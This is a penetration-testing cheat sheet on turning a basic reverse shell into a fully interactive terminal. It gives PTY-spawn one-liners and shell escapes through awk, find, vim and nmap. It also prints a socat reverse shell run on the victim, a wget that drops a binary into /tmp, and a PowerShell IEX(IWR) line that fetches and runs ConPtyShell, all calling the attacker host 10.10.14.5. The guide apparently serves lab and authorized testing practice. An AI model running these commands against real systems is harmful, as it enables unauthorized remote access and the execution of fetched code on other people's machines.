A reverse shell straight off nc -lvnp 4444 is a “dumb” shell. No tab completion, no arrow keys, no job control, no clear, vim, less, or sudo (it needs a TTY). Fix it in the first 30 seconds — before you start real work.

The Standard TTY Upgrade (Linux)

Three steps. Learn them cold.

Step 1 — Spawn a PTY inside the shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

Fallbacks when python isn’t there:

python -c 'import pty;pty.spawn("/bin/bash")'           # python 2
/usr/bin/script -qc /bin/bash /dev/null                 # util-linux script
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/bash";'

Step 2 — Background and set your terminal raw

CTRL+Z

Now in your terminal (not the shell):

stty raw -echo; fg

Then press Enter once or twice. The shell comes back; your terminal is raw.

Step 3 — Fix the environment

Back in the reverse shell:

export TERM=xterm
export SHELL=bash
stty rows 50 columns 200

Size values should match your terminal — check locally with stty size first.

Now you have arrow keys, tab-complete, Ctrl+C, vim, less, sudo, and screen clears correctly.

Language-Based Spawning

If you land in /bin/sh and want /bin/bash, use whichever interpreter is installed:

LanguageCommand
Pythonpython -c 'import pty; pty.spawn("/bin/bash")'
Perlperl -e 'exec "/bin/sh";'
Rubyruby -e 'exec "/bin/sh"'
Lualua -e 'os.execute("/bin/sh")'

System Tools That Spawn Shells

Classic SUID/GTFOBins territory — many standard utilities can drop you into /bin/sh:

# awk
awk 'BEGIN {system("/bin/sh")}'
 
# find
find . -exec /bin/sh \; -quit
 
# vim
vim -c ':!/bin/sh'
# or from inside vim
:!/bin/sh
 
# less / more — press !
!/bin/sh
 
# nmap (old versions)
nmap --interactive
!sh

See GTFOBins for the full catalog.

Force an Interactive Shell

Sometimes /bin/sh runs but drops you at a wall. Force it:

/bin/sh -i
/bin/bash -i

Fully-Interactive Shells Without the Dance

socat

Skip the whole upgrade ritual — socat delivers a full PTY on first connect.

# listener (attacker)
socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4444
 
# victim
socat TCP:10.10.14.5:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,sane

If socat isn’t on the target, drop it in via your initial shell:

wget http://10.10.14.5:8000/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat TCP:10.10.14.5:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,sane

SSH

If you have credentials or a key, abandon the reverse shell entirely:

ssh user@target

SSH is a native PTY. No upgrades needed.

Windows “Interactive” Shells

Windows reverse shells are fundamentally worse than Linux ones — cmd.exe wasn’t designed for remote use. Minimum tools:

# wrap your listener with rlwrap for line editing
rlwrap nc -lvnp 4444

For a real interactive experience, use Meterpreter → shell command — it handles TTY emulation on your side.

Or use ConPtyShell to get a fully-interactive PowerShell with resizing support:

IEX(IWR http://10.10.14.5:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing)
Invoke-ConPtyShell -RemoteIp 10.10.14.5 -RemotePort 4444 -Rows 50 -Cols 200

On the attacker:

stty raw -echo; (stty size; cat) | nc -lvnp 4444

Troubleshooting

SymptomFix
Terminal garbled after fgYou forgot stty raw -echo before fg
clear prints junkexport TERM=xterm
Ctrl+C kills the shellYou skipped the stty raw -echo step
Backspace echoes ^?stty erase ^? or restart the upgrade
Can’t recover your terminal after disconnectreset or stty sane locally

Memorize the sequence

python3 -c 'import pty;pty.spawn("/bin/bash")' → CTRL+Z → stty raw -echo; fg → Enter → export TERM=xterm. Do this every time.